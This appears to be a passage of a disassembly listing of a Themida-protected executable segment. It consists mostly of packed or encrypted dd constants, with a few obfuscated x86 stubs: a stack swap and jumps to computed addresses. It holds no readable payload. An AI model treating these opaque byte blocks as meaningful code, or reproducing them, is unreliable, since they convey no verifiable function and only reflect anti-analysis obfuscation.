		dd 0DE4E5581h, 1AA7C25Fh, 0AE12A76Dh, 5E241B4Ah, 0C00C74CAh
		dd 0FE049340h, 0AFB6223Ah, 8CA5E24h, 18A808BBh,	0DA07C4C0h
		dd 43593E80h, 0EF31C212h, 0FF76D12Ch, 2C50EC98h, 0ACF3A2A3h
		dd 80754E2Eh, 12504453h, 0B4E3616Eh, 29A409C4h,	0C77D5917h
		dd 912FA42Dh, 249AC92Dh, 0B205CA5Eh, 97733CBh, 874F2F93h
		dd 25AE777Dh, 6E12A272h, 3622E262h, 30576C98h, 5682DEE2h
		dd 7E6A56AEh, 0CA5E2467h, 0B7E0F3C0h, 4AAE12E5h, 0CA5E241Bh
		dd 55385F74h, 8957974h,	0AAA7h,	28B90900h, 677F3145h, 122CF097h
		dd 13BD2AEh, 0A7BE2A03h, 0CA5E24h, 1A9EE4B3h, 23CFD602h
		dd 9B28CA5Eh, 41388828h, 1F88484Eh, 768EB01Bh, 7BA1E6DDh
		dd 0E55F6E12h, 3F01861Fh, 775B3F5Bh, 0CA5E2468h, 0D908F0C1h
		dd 32CA5E23h, 6382F6A1h, 0BACA5E24h, 23F3F2D6h,	774CCA5Eh
		dd 824E3210h, 8B9A3E82h, 0E4CA5E24h, 0E0BC04CFh, 5E23EDF4h
		dd 3ACA04CAh, 385C2B78h, 0AE128A12h, 5E241B4Ah,	385F74CAh
		dd 1577B148h, 0E55F6E12h, 0EB20EB2h, 5E23BBEAh,	0D8BF14CAh
		dd 636E12C4h, 0FD8A23E1h, 91FAh, 94421E00h, 12F52770h
		dd 1FE55F6Eh, 2D090186h, 0C0248828h, 0CA5E24A1h, 82F8130Ch
		dd 10B2FB38h, 12C0D4C3h, 0FCC212AEh, 0ED4FF756h, 0B9FE25D3h
		dd 4A57CA5Dh, 0BAACB33Dh, 0BB03CA5Dh, 0DE0A72FDh, 6B3F48EEh
		dd 0CC28DAF3h, 0CCF0D003h, 5D4BF928h, 168152CAh, 0D2AE1206h
		dd 2B040004h, 5E24A6BDh, 0E5B2FFCAh, 3F93B7D3h,	0AF517B05h
		dd 6E12B4E8h, 0C3B5E262h
		dd 0BE2BA734h, 3710F410h, 0D579378Ch, 20A94BF9h, 0A61AA577h
		dd 23C7DE0Ah, 9320CA5Eh, 6E121004h, 8A23E163h, 0DBD0FBFDh
		dd 838152CCh, 921FB397h, 8007BC40h, 62A557F8h, 0C04492CAh
		dd 73BE1844h, 59A2504Fh, 0AB18A9CAh, 0D8138A49h, 9BBF5F7Bh
		dd 5BF41032h, 0A3AB12Ch, 554E4ABAh, 0CBBCBBDCh,	710D22ADh
		dd 0A19DF65h, 63CA5970h, 1F3B854Eh, 8FFB8CB6h, 2CBAFh
		dd 816E6997h, 7B54B06Ah, 0A0446848h, 0CA597081h, 46BEC9DAh
		dd 0D9D8F65Ah, 88F44FEh, 0B4203802h, 0CA5970ADh, 0D56F6A06h
		dd 8FEBD5FEh, 6E37BD47h, 0D7731729h, 0D8C440FAh, 596FF5ECh
		dd 4E854ECAh, 0F89FA532h, 53752280h, 0F0A9F9D2h, 97B719EAh
		dd 823ED4FFh, 4750F4DEh, 606E1255h, 9E3420E4h, 6F535D66h
		dd 0CA5E2470h, 7B8FF8C9h, 1FC3DBh, 59CA5E24h, 6D357B48h
		dd 0A22CD57Bh, 0D5C7D0EDh, 54B6C212h, 53193BB1h, 12B8B844h
		dd 87368CC2h, 4255F9F1h, 8C6A9B36h, 0D6CD3775h,	649A02D1h
		dd 5813545Ch, 0B23A18F2h, 6E12AFE5h, 8922E262h,	792E0FFEh
		dd 0C5610895h, 0BF000000h, 0F2120C9Bh, 126E2E59h, 241B4AAEh
		dd 5F74CA5Eh, 81865238h, 8EB01B3Fh, 71ECA76h, 60CA5E24h
		dd 5178053h, 3BD2AE12h,	5D2A0301h, 5E248C93h, 4B87E3CAh
		dd 0C7DCE6B1h, 221C5E9h, 5BCA5E24h, 677E6A46h, 0C0CA5E24h
		dd 1270A4F3h, 0B4E3616Eh, 0A618A804h, 5B50EDCAh, 0E61E24ADh
		dd 0D8FA764Dh, 4047E024h, 23BD25Ch, 29AA8983h, 6C58F113h
		dd 0AC2ADDCFh, 61852B98h, 0CA5E0E42h, 0F3BD069Bh, 44C07A57h
		dd 0E756C58h, 5CECA5Eh,	12D3C9CEh, 18031DC2h, 6E196FD3h
		dd 4C8AE6DAh, 0D733CB8h, 0E7C044FEh, 6E127CA0h,	0AED2E461h
		dd 87B52F91h, 6440883Ch, 0DA92B6A7h, 92CAADh, 92EE0000h
		dd 0C6D6C17Bh, 1B4AAE12h, 74CA5E24h, 8652385Fh,	245B8A6Eh
		dd 1FB4CA5Eh, 35CF7561h, 3989279Ch, 5F313628h, 0D8F977BEh
		dd 129F7522h, 0FB01D2AEh, 23BDE48Ch, 3814CA5Eh,	69F659Fh
		dd 1CB5A981h, 77D3DDE6h, 22F2A55Fh, 0D44AC212h,	2F152F45h
		dd 6C345868h, 1EE25233h, 1CECD833h, 8BE9CB61h, 12D2C2D5h
		dd 241B4AAEh, 5F74CA5Eh, 246E7561h, 0FAC7CA5Eh,	0E25C6B8Dh
		dd 0E0C212BAh, 0EA51DB32h, 0C47E531Dh, 28206740h, 46FED874h
		dd 0A27225AEh, 55FE07D2h, 7EE6E8DFh, 5384E38Dh,	5D40E581h
		dd 0A8264A66h, 0C8CF589Ch, 0D0FC603Ch, 7FB95030h, 1068F218h
		dd 268A39C3h, 7C788C4Ah, 0BEF49FB4h, 8C37E025h,	8B993DFBh
		dd 0E0D257A4h, 480918BCh, 5162C263h, 89277C46h,	2E59EBE5h
		dd 14C0DCE4h, 0C263480Dh, 582A5D66h, 0B0217A82h, 0B12283ACh
		dd 15C29E22h, 0F498A8EFh, 0B9228AACh, 5443063Bh, 666B119Ch
		dd 0A32C50CAh, 0BB763A1h, 0BA60CE14h, 286F646Dh, 0CC7F8A1Ah
		dd 0C1726AEAh, 0DAD6ED17h, 60CEF7EEh, 508350BAh, 22B808B4h
		dd 9866295Bh, 1B48577Bh, 10A1BA61h, 29A4D4C3h, 1AC1E004h
		dd 761ABA61h, 611B5352h, 0AC17ACBAh, 1CB59917h,	0AF460EE6h
		dd 6CAEB2C6h, 0FE8CFBC8h, 0A92ED702h, 54E7DC6Bh, 12A21EB5h
		dd 537F0538h, 0BA609E4Ch, 12A81CA5h, 0B54F38D4h, 0B2AA6341h
		dd 21DBF8DDh, 24DEF7E3h, 1D851E0h, 86EA9654h, 10CDBA4Ah
		dd 81AE29D9h, 0E824E55h, 0DB07A797h, 970E81C4h,	943F941Dh
		dd 0CACBA42Ch, 3638CC0Ah, 0A1FDC151h, 0E622E35h, 763A8797h
		dd 0E625352h, 7017AC97h, 6F684590h, 0FA6417D6h,	0F5DE7854h
		dd 0DBC58DFh, 4D766A06h, 0D8DE5B63h, 0A0F687ABh, 0E6A2D34h
		dd 863D8697h, 7A578301h, 0E381EAC1h, 2EA5B1E9h,	601A4292h
		dd 0C2426215h, 864B27D5h, 735C787Ch, 737233D1h,	584BDC78h
		dd 33BCE91Ah, 0B89448A0h, 8821E31Dh, 738366FFh,	0C97B5358h
		dd 0E131A22Bh, 0AE5481DDh, 23C97E9h, 1034A2BEh,	0D02C5BF4h
		dd 0B14B88E4h, 1799E6h,	93F70000h, 0F08302Fh, 4F388997h
		dd 4AAE124Dh, 0CA5E241Bh, 0A9385F74h, 0FA02D2DFh, 51F3DEFAh
		dd 0F40EC7B3h, 58E8E410h, 0EE16C09Ch, 58ECEA16h, 0E913C09Ch
		dd 5ED8EF0Bh, 0E418BAA6h, 89507220h, 405E0h, 0E8830000h
		dd 24043304h, 33240431h, 685C2404h, 62C8h, 68240489h, 205Dh
		dd 0B8243C89h, 2F8F0EDBh, 2A2CC00Dh, 0D0BE563Eh, 1C8539Fh
		dd 17685EF0h, 89000014h, 4832424h, 685F0424h, 7BCh, 8F240489h
		dd 34FF0847h, 0C4815F24h, 4
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dd 998094C5h, 0BAC1860Dh, 0AE88C8B1h, 0B88F6917h, 802E30Eh
		dd 0E0FFC503h, 5E52718Ch, 76C2C19Ch, 1EF6971Ah,	13828BCCh
		dd 3DDC6875h, 138E3B43h, 3EE185A7h, 4E19C10Fh, 2D626B6Dh
		dd 4D18F191h, 1165C985h, 5FA1A40Ch, 28C64895h, 2709A77Fh
		dd 54FEA8FEh, 286CEE9Dh, 3D424CBCh, 796D24C9h, 32E0A753h
		dd 1D0E2F7Dh, 6A2A333h,	4B10D624h, 6C99F8DDh, 14CC373h
		dd 422ECF7Dh, 13008313h, 34D4AA38h, 196B13F2h, 53A8A26Dh
		dd 9023656h, 4ED671Ch, 0E4D48D8Dh, 0E9500802h, 13h, 2A6B89CCh
		dd 0A4AF5D6Bh, 61DDF248h, 767AB50Ah, 5ADD303Fh,	27C18D89h
		dd 0F9BE07FAh, 31A1086h, 0FA1ED985h, 185C707h, 0C007FA1Ch
		dd 6A000068h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0B5CCC350h, 0E754ABACh, 8B2BB12Fh
		dd 0FA33ADBDh, 0ED85C707h, 7FA1Ah, 8B000000h, 0FA04F9BDh
		dd 0FFCDB607h, 0FA11F9B5h, 95FFF507h, 7FA177Dh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8BC35141h, 0E7FD953Ah
		dd 8BC435FEh, 0FA15D9BDh, 1D858B07h, 8907FA02h,	0FA198D95h
		dd 0FF006A07h, 0FA012D95h, 0EBC08B07h, 1BD96F6Ah, 0EA44667Bh
		dd 2C520B74h, 10ACEC2Fh, 155F2D94h, 0C10BD93Fh,	79D69345h
		dd 54184187h, 48AF71F2h, 8531A097h, 394BC2ECh, 77655E89h
		dd 2AC01EC3h, 0CFE97552h, 417743C5h, 0C03B5568h, 28939761h
		dd 4690456Ch, 66D65607h, 41217D89h, 0F4AFAD72h,	1347EA49h
		dd 3FD22E8Ah, 0B086FAFCh, 0ACB9852Ch, 0D3CB5DAFh, 0E8B56AB4h
		dd 13h,	0BE5C394h, 85B1218Dh, 0FBBDF06Ch, 0DC24C466h, 0E9188F95h
		dd 0Bh,	72D9E49Dh, 4B53415h, 59A79858h,	0C181F28Bh, 5DACh
		dd 0D22BE18Ah, 0F0AC8BBEh, 113C8B6Dh, 0EF81B7B0h, 3CE4CDADh
		dd 0D850Fh, 66600000h, 7D8CB81h, 1D5DB529h, 816107FAh
		dd 0F47050F7h, 39B52943h, 8107FA1Eh, 9FFFD6C7h,	5810F6Fh
		dd 0BB000000h, 37B2E424h, 19858B57h, 8F07FA25h,	0B5891104h
		dd 7FA000Dh, 26AD8D89h,	0EA8307FAh, 0DF8B6601h,	804A4A4Ah
		dd 0FA8159D0h, 0FFFFA2F4h, 0FF97850Fh, 8D29FFFFh, 7FA249Dh
		dd 0E6D38D8Dh, 6A0802h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0A81B18C3h, 2DE42156h, 0E2DB8166h
		dd 0C18D89C6h, 6A07FA27h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 9781C353h, 1C0185C7h
		dd 5A6807FAh, 85010000h, 7FA2F0Dh, 1AED85C7h, 7FAh, 0B58B0000h
		dd 7FA0911h, 0EA24BA66h, 1735B5FFh, 6A07FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD2B9FC3h
		dd 7FA1611h, 6E8h, 483FFE00h, 0E9F63807h, 12h, 57FFAD02h
		dd 0A8D81B68h, 3B5D1F0Dh, 0B2DCCB88h, 0E95A1D41h, 10h
		dd 7D26FB7Dh, 3EDB50E8h, 5BA8461Bh, 0F2A69861h,	177D95FFh
		dd 952307FAh, 7FA1CC5h,	95FF006Ah, 7FA012Dh, 2DEBC08Bh
		dd 8293B167h, 0FB675D1h, 3A94A702h, 0E61EB1D8h,	246FA537h
		dd 2D8E32D9h, 0A1A217C1h, 0CA1E6D4Ah, 289EFDE2h, 0B2CACEB1h
		dd 76D6E64Fh, 0E58D8D03h, 660802E7h, 0F213CF81h, 27C18D89h
		dd 816607FAh, 0C702C2C7h, 0FA1C0185h, 6D2C07h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B7A99F7h, 0FA0AC995h, 0ED85C707h, 7FA1Ah, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 9958C356h, 9D8BBFF5h, 7FA2519h, 0C03AC281h
		dd 0B5FF768Ch, 7FA1735h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 9AC35040h, 0E9C4B614h, 9, 15CC3AB0h
		dd 0F26B31EEh, 7D95FF4Eh, 6A07FA17h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F17CC352h
		dd 2F1FCF63h, 1249B50Bh, 6A07FAh, 12D95FFh, 0C08B07FAh
		dd 30E12DEBh, 0B7A9F44Fh, 230C8B3Fh, 6EE177E3h,	28F0D157h
		dd 68974083h, 0C7B7215Bh, 89D86204h, 329FE5CFh,	0E13AEF04h
		dd 0FB20231Bh, 0E9052FBBh, 10h,	34B0F5F6h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_630F9A
; ---------------------------------------------------------------------------
		db 0A1h, 33h, 9
		dd 27DDF5F9h, 0A0493DBh, 21DBF8F8h, 43C10DF1h, 77DD05CFh
		dd 916DA55Fh, 2945BD47h, 846C96ACh, 7C4BB749h, 3C8D9440h
		dd 90E6C25Bh, 0B9E80CB0h, 24C25B3Bh, 54B4B275h,	83507250h
		dd 6E120014h, 349FE163h, 3661EA0Ah, 0FE628F4Ah,	0FBD430D4h
		dd 5E23F6EDh, 51824FCAh, 0DFB707B3h, 4A95E406h,	9A344453h
		dd 3D868017h, 0C07D2B73h, 427718AAh, 55F9B555h,	0A42DC77Dh
		dd 3BD62430h, 0C8CF20C3h, 0DDE31DB8h, 0F70E15C1h, 5A67CA5Dh
		dd 28A3CF2Dh, 1E42DE16h, 0F602958Fh, 0B2B115DCh, 0BCA5DF7h
		dd 7A30DB6h, 5DF6C4DBh,	3941DCAh, 9D3CC779h, 0CED5019Dh
		dd 27CA5DF6h, 0C00BED9Ah, 0CFDE823Eh, 0EC3AF55h, 5AB8DFF4h
		dd 9C38B916h, 2D516F64h, 0C760A49Eh, 526E52C0h,	5DF77FA6h
		dd 0A5CBD8CAh, 51DA1A28h, 549D3A46h, 5DF77170h,	0CAF9CACAh
		dd 0A44D8AE6h, 5DF72140h, 9A297ACAh, 3EC6D15Ah,	31D3FE62h
		dd 6B8DFAD3h, 0C1438C61h, 4D2AE12h, 5C2B0400h, 0EA1BB4A0h
		dd 232CA87h, 4DA71C24h,	669EA431h, 0CE7B5ED7h, 9E4A661Ah
		dd 0CA5E2487h, 19C4D3E0h, 0F0DE82C2h, 7017B054h, 0F3BD4790h
		dd 41C37D57h, 0CB731F68h, 23DC03EFh, 6C35CA5Eh,	51F2DD1Bh
		dd 6A50E177h, 107941B6h, 0ED465372h, 0FBC3EDD6h, 0BBCB4A3Eh
		dd 24E0A75Ah, 47F9D478h, 0FD7324ADh, 0CA5DBDE3h, 0CBF79389h
		dd 0CA5DBDD4h, 0B81CA42Dh, 0CA5DBEA9h, 0FFE6B102h, 84545CDCh
		dd 6F0563E7h, 0F4DF656Eh, 0E4F362A3h, 0FDC50595h, 844F9912h
		dd 23B17A7Ah, 3C4B870Fh, 15BBBh, 7DD5DD00h, 0F3D5E0Ah
		dd 13F113BCh, 1EFE893Ah, 7D2AE12h, 23F4EBFDh, 844DCA5Eh
		dd 45EAE513h, 24667D69h, 0F2BFCA5Eh, 5E23DF06h,	586B38CAh
		dd 0D3DEF458h, 24AD47F9h, 0AC2955AFh, 42972D96h, 0B838732h
		dd 38E4A0E7h, 68FAC168h, 286FFDC9h, 5DAC4F50h, 0D3696ACAh
		dd 7CB64531h, 0B6FB078h, 203A9E86h, 0B3A03BCAh,	0A2466A56h
		dd 0CA5D9083h, 25C0C7DCh, 0FFDA76C6h, 72AC3B45h, 1171E025h
		dd 0B820595h, 0A6000000h, 8BC7DE0Ah, 9320CA5Dh,	6E121004h
		dd 0FDCFE65Fh, 5ECB0492h, 6F638F75h, 2D962FD5h,	91B41E5Ah
		dd 404C83F3h, 5FA52E8Bh, 0F4EBD7B3h, 4DCA5DB3h,	0EDE51384h
		dd 0B481A044h, 0C9DACA5Dh, 0D4EEB6FAh, 74F58756h, 82BC1759h
		dd 26DEA982h, 47FDD67Ah, 7292A829h, 1D2AED9h, 0EDD9B5FBh
		dd 0CA5D80F6h, 6715824Fh, 43C1438Bh, 8381BB17h,	0AAA742C1h
		dd 0C82C9030h, 0CA5D8199h, 4D99CE04h, 546E1D7Eh, 924C557Fh
		dd 7398432Dh, 0A2A23924h, 319D14BEh, 6B58F113h,	4FF6DC1Ch
		dd 55FBEF26h, 0C4408EFBh, 675C6740h, 1EB7939Bh,	0AC5B3E4h
		dd 0D1E201E5h, 133BCA5Dh, 0E16A8A84h, 7BDFE1F2h, 7D56AE50h
		dd 0DCC0800Ah, 8776A8D4h, 8C5C37F8h, 0CA5DFC95h, 0E2B2E5EEh
		dd 9ED04D2h, 0CA5E23DAh, 8B359E33h, 249CC32Fh, 0ACF5CA5Eh
		dd 0D97521DBh, 0CF7945FEh, 0D7D84D7Ah, 0E1EC08ECh, 0C60C745Fh
		dd 0AB27593Eh, 535F4C92h, 0A12ACA44h, 0D549B933h, 69CBF4FFh
		dd 25AEBE06h, 24DEF3DFh, 2BE5F4E0h, 4B8E15C9h, 0ABF3ADFEh
		dd 0B65C7E2Fh, 4A138477h, 0CA676F8Fh, 5DD4071Eh, 2D5360CAh
		dd 0E032A1A3h, 918BCE0h, 74CA5DD4h, 0E10FF570h,	458D3572h
		dd 0A9A4A6A3h, 0ABDCE72Ah, 22AD02CDh, 784BE420h, 71705438h
		dd 88CA5DECh, 753EB64Eh, 0D2FC844Dh, 0BB976532h, 0D379F2Ch
		dd 0B0225EE7h, 0F4DF688Ch, 55EFE410h, 0F80AC3AFh, 22B948FCh
		dd 0DDE5D135h, 0B444D073h, 0F8E5B24Fh, 993D61E1h, 0CA5D308Ah
		dd 0C4C9CEE3h, 59577E5h, 515E73D7h, 40477C86h, 144BFh
		dd 537DE100h, 0FC06CFB1h, 34682FF8h, 0C9E7C212h, 0A1DDE7E2h
		dd 39CC0AF6h, 6AA12C98h, 8F31A2B6h, 3760E2EBh, 418DF1CDh
		dd 1F6841C3h, 0EEFDCAE1h, 91219F34h, 268B1032h,	770592B5h
		dd 33D1735Bh, 0DE14919Bh, 0D1AF3FDDh, 2F04003Ah, 261733B6h
		dd 361C6BEDh, 64DFFBC8h, 0EDD9B585h, 0CA5D81F6h, 0E315824Fh
		dd 0F35759EBh, 2CB29DBh, 53B1537Eh, 0C17D0D7Ah,	0E5A34CF1h
		dd 0CCDB496Eh, 0D4FF8152h, 0B31B5D2Ah, 6271933Eh, 2FD5025Eh
		dd 6574FCD5h, 3420DCABh, 0FF5B659Fh, 0FFC82CD6h, 0F910EC98h
		dd 7360E0ECh, 0D76D6591h, 0C4279E1Dh, 0FFCF6F87h, 0FB32652h
		dd 0CA5DF910h, 0B6C5869h, 17CEB943h, 5C64D4h, 0B93DCFBCh
		dd 0A1CBDAFEh, 8F24CA5Dh, 53325344h, 85059501h,	4453E9E9h
		dd 0B4B3h, 53CDD500h, 0BB7B4410h, 24DEF779h, 6E12A173h
		dd 0C6B2E55Fh, 0DCF7FD08h, 5B3EF488h, 109188C4h, 685B68EEh
		dd 9220B08Ch, 0CADEC9B6h, 16BFC1C6h, 0E3EC08ECh, 1CB7A361h
		dd 1A9322E2h, 0AD4B92BFh, 0F9FB01D1h, 0B450F2DDh, 6DFA81Bh
		dd 324B53E3h, 5DDE1FDCh, 5B738512h, 0F6CD4756h,	0B3996BAh
		dd 0DB3760E9h, 0FC00D2AFh, 23A98B4h, 5983E795h,	76CA5E24h
		dd 342B975Ah, 8DCA5E24h, 89758F44h, 7B50B44Eh, 2FCA8762h
		dd 9AC92D91h, 0F3CA5E24h, 0AD2CB9DEh, 5CE6F18Dh, 66710F98h
		dd 8BDAABDCh, 0DD059585h, 0E8AF5581h, 817h, 0FBD57900h
		dd 7522AB49h, 606E129Fh, 8720E4h, 0C930E900h, 32CFE079h
		dd 0E724E85h, 0AE5641C3h, 0E612AE12h, 0CA5D43BFh, 465D8B18h
		dd 9FCA5D44h, 58738512h, 44302F93h, 3889CA5Dh, 819D258Bh
		dd 760BD22Bh, 0C369BE5h, 0CC385FE8h, 0DB1923B0h, 0CA2AD4FFh
		dd 5401D805h, 0B8D8E894h, 98147FBFh, 46ECDD89h,	0FDC686C4h
		dd 4AAA6473h, 8C4F1681h, 0BDE410ACh, 16CA5E14h,	0EFFEFA8Dh
		dd 784BF1E2h, 89BB1438h, 0E47694FEh, 2F1368D8h,	0E0F470E0h
		dd 8B1F3968h, 0AC14BF41h, 0D24DA724h, 5D2DFF26h, 794B58CAh
		dd 0C7D0EA48h, 1FB995F9h, 983EB2E5h, 0FD257DCh,	4B62FEC2h
		dd 0ED9A33D1h, 631BA38Fh, 2E04B098h, 408B6D1Ah,	0E7DC666Bh
		dd 1C16A5C9h, 2EC67E54h, 9898F2A5h, 3F931EB4h, 9D26FF05h
		dd 0B7C9CE57h, 9298E31Ch, 0D610F655h, 4F2B07EDh, 0B17A7A84h
		dd 0E8BCE30Fh, 8C15C263h, 0E96C75FBh, 4D87C263h, 0A92551B3h
		dd 1DA8599Bh, 0B04C91BEh, 970000CCh, 0E0EB0BCEh, 0E4EFFC0Bh
		dd 0C2119A5Ah, 0CBAF11h, 35F999FEh, 863E296Dh, 4D0ABA4Ah
		dd 0B0D0B759h, 0F30DC825h, 517CE0E0h, 0B7C55AFh, 28A9C571h
		dd 58738512h, 9FBA0AA6h, 0F846AA57h, 9E6B0571h,	18AB8259h
		dd 6C14156Fh, 36147764h, 11B55DA6h, 0C263A412h,	36D566Bh
		dd 964F38CAh, 4A87E353h, 3E99E7B0h, 36A0BC04h, 0D6ED17BBh
		dd 0E7EB951Eh, 0E0E02A5Dh, 744D9DD0h, 0C5D29D34h, 6F4891C0h
		dd 7087E302h, 372ED1B6h, 6E000003h, 20DAC212h, 0D0A9F0D5h
		dd 0E1F5C3C7h, 5E0AEEF5h, 497A47CAh, 809F4367h,	0D9CA5E0Bh
		dd 1AA95B75h, 8BEFCB6Dh, 20D8BF41h, 0D2580E4Eh,	0F0FC30Bh
		dd 2E23D30Ch, 63ED9BCAh, 0F4DFF4C2h, 0CBF797A3h, 0C263ECD4h
		dd 0D52FA42Dh, 221C5E9h, 5BC263EDh, 943F4146h, 4F84BE17h
		dd 3FC50D71h, 5AF6BA58h, 6841C379h, 0D034CC08h,	657090F7h
		dd 923D19DBh, 0ED6A795Dh, 0EEC3C263h, 13BFDBE5h, 0C263ED0Ch
		dd 37CD0965h, 0B8DFF4BDh, 49A4304Ch, 0B8917389h, 0A94DE90Bh
		dd 0C263ED7Ah, 5782FED3h, 0E9547ADh, 732D7ECBh,	0D075A32Bh
		dd 87A2B1h, 9AB68665h, 0A1F80538h, 3EF7B679h, 0DBF60295h
		dd 0A74DC7D6h, 615DB51Eh, 0D62ED4FDh, 0EA7B8AFDh, 0BE026F9Fh
		dd 2EBD34A2h, 8C3710F4h, 47B8DF68h, 0C9h, 0FB00DC45h, 9C8EDB5h
		dd 0D7854E79h
		dd 0F97FCABAh, 31566D58h, 638F2B8Fh, 0CA5D593Ch, 0F57B0C95h
		dd 4A5D58CEh, 81654965h, 4A5D5962h, 0E302E6BBh,	3C4A5D58h
		dd 869D4967h, 0DF4A5D59h, 0ADF5C5D2h, 95E76AB6h, 268A39CCh
		dd 96475E8Ah, 755E4A5Dh, 169C35CFh, 0CE82FA8Dh,	4A5D95D7h
		dd 0A55FE5EEh, 21E319B9h, 88C5249Fh, 0B91D813Fh, 4A5D96AAh
		dd 0FCE9AE03h, 6C555DDDh, 1E014D08h, 0D864A6F1h, 140D14C0h
		dd 5D664A5Eh, 0AD264A66h, 0B6AD1997h, 0F4A5E14h, 0C7E3D5C2h
		dd 6032DBF7h, 791E6568h, 5DA8C0FFh, 684859CAh, 0A981A044h
		dd 0C9DACA5Dh, 9F2B54BEh, 8D000001h, 0FCBBFB45h, 0CBF7967Ch
		dd 0CA5D3ED4h, 682FA42Dh, 50C21234h, 22DCF73Eh,	55533BB2h
		dd 727A4042h, 59F9185Eh, 0CEF2E11Eh, 3F3C1006h,	0C38C6892h
		dd 8A208511h, 0B70DB64Eh, 0A5B8256h, 0FB1D678h,	122623ABh
		dd 0CD1F1163h, 488436BAh, 0A131D257h, 0FBA2B569h, 5862356Ch
		dd 9C27E1F8h, 35A0BC58h, 517C7C0Bh, 96607FB0h, 0F6DE8E7Ch
		dd 2C7B7CD8h, 0F70BB8A2h, 87B91337h, 0C5B3E46Dh, 1C16A50Ah
		dd 30D0FCD8h, 409030A3h, 20A887B1h, 0C3414628h,	669C7D7h
		dd 0FF060D4Eh, 0DABCE098h, 0F0DDC262h, 9C6B252h, 0C33AF9FBh
		dd 6A22B28h, 0D9273EAAh, 3380C262h, 0A2627964h,	0D019BA37h
		dd 62D8FD24h, 764D56C2h, 55F9B54Dh, 0AA5A767Bh,	4552DB19h
		dd 0B01B7B3Dh, 0E6DD768Eh, 4D8AE6CAh, 1DD76964h, 0EDC53F94h
		dd 0C87AA1C9h, 168152B3h, 65D25B62h, 0BA1E82CAh, 0BA6002ABh
		dd 0DAE8AF04h, 56AB5A76h, 8DFC83AFh, 20A94B78h,	90C50DB3h
		dd 0D327919Dh, 906C187Fh, 0C26F6845h, 5FAD0F16h, 685B68BAh
		dd 0B010C38Ch, 26B03DCCh, 764DE61Eh, 0AD978E3Ah, 0E3F0BA5Fh
		dd 0A02C48B4h, 5A7864A0h, 12B662A2h, 0BA5FAD13h, 7570576Ch
		dd 5BFFD976h, 0AD8C933Fh, 0DCE5BA5Fh, 87B732ABh, 9C58EAE3h
		dd 1A49AD13h, 73BA5FADh, 8751395Eh, 0AD5C836Fh,	0ECB5BA5Fh
		dd 0CB74984h, 0C5DC08A4h, 1EBA5FACh, 5A360295h,	5A2DE7F6h
		dd 6295A796h, 20B2CEC2h, 0AFCF6B1Ch, 50D91B25h,	0B4213D83h
		dd 0AADD768Eh, 0FEDC3C60h, 23E7FEEAh, 7340CA5Eh, 983C6060h
		dd 0CA5E2489h, 0FAC6D1E2h, 0E61EBA96h, 973B450Eh, 67561A6Dh
		dd 8ED2610Ch, 975DE7F2h, 0E8B9890Eh, 1729A4C8h,	0B94354DDh
		dd 210329Dh, 8EB6223Eh,	0CFDCF709h, 1228A906h, 8A6A59F2h
		dd 12AE12C1h, 5B3BBFE6h, 0B3B216C2h, 0CC25B3Ch,	0E1A6FBB7h
		dd 0F8D37723h, 0CDB74146h, 9AFF0D3Dh, 50EC083Ch, 0A93B7DA4h
		dd 0A3CDD685h, 0F50FC714h, 678D360Fh, 42C27C8Bh, 0F9F06F69h
		dd 0D2E27E5Ch, 3E9A8B13h, 6F65EE06h, 1B6CC7D8h,	0B397A742h
		dd 0C6B2E51Fh, 928A60Bh, 0A957C6DDh, 41921F85h,	0F0C08092h
		dd 0AD12037Bh, 80800794h, 6905AB55h, 37C5D268h,	0DBE8FF5Bh
		dd 1FA84CF6h, 4D7750B4h, 78A43BB3h, 0AFD1B6C1h,	0F90BC522h
		dd 488AE6CAh, 0E92E35A1h, 3A8785A9h, 53EDE789h,	156F18B1h
		dd 0B252E8E9h, 74FC08C6h, 5D4EA65Eh, 24C49148h,	46FED478h
		dd 0F545A441h, 790C48ADh, 0F097B30Fh, 0EFE8C510h, 72427E55h
		dd 75F7145Ch, 48EF90Eh,	8CB4203Ch, 30D2FDFBh, 60E0EC90h
		dd 7C0BA4h, 554C7814h, 0AE85A9BFh, 26857225h, 0A3000000h
		dd 0D96B6307h, 3F66921Bh, 9885A9BFh, 33987C0Bh,	0CCDB458Dh
		dd 99051CC8h, 555ECA5Dh, 262A057Fh, 5E299AAAh, 0FA02D23Eh
		dd 51F3DEFAh, 0F40EC7B3h, 58E8E410h, 0EE16C09Ch, 58ECEA16h
		dd 0E913C09Ch, 5ED8EF0Bh, 0E418BAA6h, 89537220h, 4B850E3h
		dd 1000000h, 0EB8358C3h, 241C8704h, 4B73685Ch, 4890000h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 68241C89h
		dd 2E2Dh, 0BE243489h, 802E831h,	685EF089h, 4CB5h, 81242489h
		dd 42404h, 505B0000h, 67CDBA52h, 543140D4h, 8F5A0424h
		dd 73810843h, 0D467CD08h, 241C8B40h, 5E08950h, 4, 8704C083h
		dd 8B5C2404h, 89502404h, 405E0h, 0C0830000h, 24048704h
		dd 8A4AE95Ch, 3C3EFFF7h
; ---------------------------------------------------------------------------
		xor	ecx, ebp


loc_630F9A:				; CODE XREF: Themida_:00630330j
		mov	eax, 802F402h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 53h
		dd 0CB6F1DB5h, 3956EE99h, 94F2383h, 0C63CD4Dh, 0D903D3B8h
		dd 0A623C04h, 1D1F862Eh, 9F38A70Ah, 0FA7D1BEFh,	0C718CA4Ch
		dd 513D0C20h, 962E977Fh, 1737071Ah, 2117DD2Ch, 5B0EC13Fh
